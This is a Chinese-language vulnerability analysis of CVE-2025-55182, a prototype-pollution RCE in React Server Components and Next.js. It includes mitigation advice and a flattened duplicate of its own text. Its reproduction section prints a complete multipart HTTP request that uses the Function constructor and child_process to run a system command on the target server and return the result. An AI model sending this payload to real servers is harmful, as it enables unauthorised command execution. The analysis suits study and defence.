React 服务器组件原型链漏洞(CVE-2025-55182)最新POC分析(详细版)
字数 1483 2025-12-08 12:08:05

React服务器组件原型链漏洞(CVE-2025-55182)技术分析文档

漏洞概述

CVE-2025-55182是Next.js框架中React Flight反序列化机制的高危远程代码执行漏洞。该漏洞源于对对象属性访问路径缺乏有效校验,攻击者可通过构造恶意multipart表单实现无需交互的远程命令执行。

漏洞基本信息

  • 漏洞编号: CVE-2025-55182
  • 影响组件: Next.js React服务器组件
  • 漏洞类型: 原型链污染导致的RCE
  • CVSS评分: 10.0(严重级别)
  • 影响版本: Next.js 16.0.6及以下版本

环境搭建

# 创建受影响版本的Next.js应用
npm create next-app@16.0.6 react -y
cd react
npm run dev

漏洞技术原理

核心漏洞点

React Flight协议在解析形如$id:prop:path的引用时,getOutlinedModel函数直接使用value[path[i]]遍历嵌套属性,未对path[i]进行危险属性过滤(如__proto__constructorprototype)。

攻击链构建

  1. 原型链访问: 通过__proto__访问原型链窃取Function构造器
  2. 上下文劫持: 劫持内部上下文(如_formData.get
  3. 代码执行: 结合可控的_response字段控制执行上下文
  4. 触发机制: 构造{ then: Function(maliciousCode) }对象,利用Promise自动解析触发RCE

详细漏洞分析

反序列化流程

  1. decodeAction方法

    • 创建新的FormData实例存储非动作相关数据
    • 遍历body中的键值对,根据前缀进行分支处理
    • 处理$ACTION_前缀的引用格式
  2. createResponse函数

    • 初始化反序列化上下文
    • 将攻击者控制的FormData赋值给_formData属性
    • 建立Flight协议解析的基础环境
  3. 关键函数调用链

    decodeAction → decodeBoundActionMetaData → createResponse → getChunk → initializeModelChunk → getOutlinedModel
    

漏洞触发路径

// 恶意载荷示例
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "恶意代码字符串",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

代码执行机制

  1. $B引用解析

    case 'B': {
      const id = parseInt(value.slice(2), 16);
      const prefix = response._prefix; // 攻击者控制
      const blobKey = prefix + id.toString(16);
      const backingEntry = response._formData.get(blobKey);
      return backingEntry;
    }
    
  2. 函数构造过程

    • _formData.get被劫持为Function构造器
    • blobKey包含恶意代码:"恶意代码;1337"
    • 执行Function(blobKey)生成恶意函数
  3. Promise自动触发

    • 构造{ then: maliciousFunction }对象
    • Promise解析时自动调用value.then(resolve, reject)
    • 等价于执行maliciousFunction(resolve, reject)

完整漏洞复现

攻击载荷构造

POST /apps HTTP/2
Host: target.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
  "then":"$1:__proto__:then",
  "status":"resolved_model",
  "value":"{\"then\":\"$B1337\"}",
  "_response":{
    "_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_formData":{
      "get":"$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6Sad--

关键技术要点

  1. 原型链遍历: 通过$1:__proto__:then访问Chunk.prototype.then
  2. 函数劫持: 使用$1:constructor:constructor获取Function构造器
  3. 代码注入: 通过_prefix字段注入恶意系统命令
  4. 结果回显: 利用Next.js的Error.digest机制回显命令执行结果

防护建议

  1. 输入验证: 严格校验对象属性访问路径,过滤危险属性名
  2. 沙箱环境: 在服务器端执行用户代码时使用安全的沙箱环境
  3. 依赖更新: 及时更新React和Next.js到安全版本
  4. 权限控制: 最小化服务器组件的执行权限

总结

CVE-2025-55182展示了现代JavaScript框架中原型链污染的严重安全影响。该漏洞结合了反序列化漏洞、原型链污染和Promise自动化机制,形成了完整的RCE攻击链。开发人员应加强对用户输入的处理和验证,特别是在处理复杂对象序列化场景时。

React服务器组件原型链漏洞(CVE-2025-55182)技术分析文档 漏洞概述 CVE-2025-55182 是Next.js框架中React Flight反序列化机制的高危远程代码执行漏洞。该漏洞源于对对象属性访问路径缺乏有效校验,攻击者可通过构造恶意multipart表单实现无需交互的远程命令执行。 漏洞基本信息 漏洞编号 : CVE-2025-55182 影响组件 : Next.js React服务器组件 漏洞类型 : 原型链污染导致的RCE CVSS评分 : 10.0(严重级别) 影响版本 : Next.js 16.0.6及以下版本 环境搭建 漏洞技术原理 核心漏洞点 React Flight协议在解析形如 $id:prop:path 的引用时, getOutlinedModel 函数直接使用 value[path[i]] 遍历嵌套属性,未对 path[i] 进行危险属性过滤(如 __proto__ 、 constructor 、 prototype )。 攻击链构建 原型链访问 : 通过 __proto__ 访问原型链窃取Function构造器 上下文劫持 : 劫持内部上下文(如 _formData.get ) 代码执行 : 结合可控的 _response 字段控制执行上下文 触发机制 : 构造 { then: Function(maliciousCode) } 对象,利用Promise自动解析触发RCE 详细漏洞分析 反序列化流程 decodeAction方法 创建新的FormData实例存储非动作相关数据 遍历body中的键值对,根据前缀进行分支处理 处理 $ACTION_ 前缀的引用格式 createResponse函数 初始化反序列化上下文 将攻击者控制的FormData赋值给 _formData 属性 建立Flight协议解析的基础环境 关键函数调用链 漏洞触发路径 代码执行机制 $B引用解析 函数构造过程 _formData.get 被劫持为Function构造器 blobKey 包含恶意代码: "恶意代码;1337" 执行 Function(blobKey) 生成恶意函数 Promise自动触发 构造 { then: maliciousFunction } 对象 Promise解析时自动调用 value.then(resolve, reject) 等价于执行 maliciousFunction(resolve, reject) 完整漏洞复现 攻击载荷构造 关键技术要点 原型链遍历 : 通过 $1:__proto__:then 访问Chunk.prototype.then 函数劫持 : 使用 $1:constructor:constructor 获取Function构造器 代码注入 : 通过 _prefix 字段注入恶意系统命令 结果回显 : 利用Next.js的Error.digest机制回显命令执行结果 防护建议 输入验证 : 严格校验对象属性访问路径,过滤危险属性名 沙箱环境 : 在服务器端执行用户代码时使用安全的沙箱环境 依赖更新 : 及时更新React和Next.js到安全版本 权限控制 : 最小化服务器组件的执行权限 总结 CVE-2025-55182展示了现代JavaScript框架中原型链污染的严重安全影响。该漏洞结合了反序列化漏洞、原型链污染和Promise自动化机制,形成了完整的RCE攻击链。开发人员应加强对用户输入的处理和验证,特别是在处理复杂对象序列化场景时。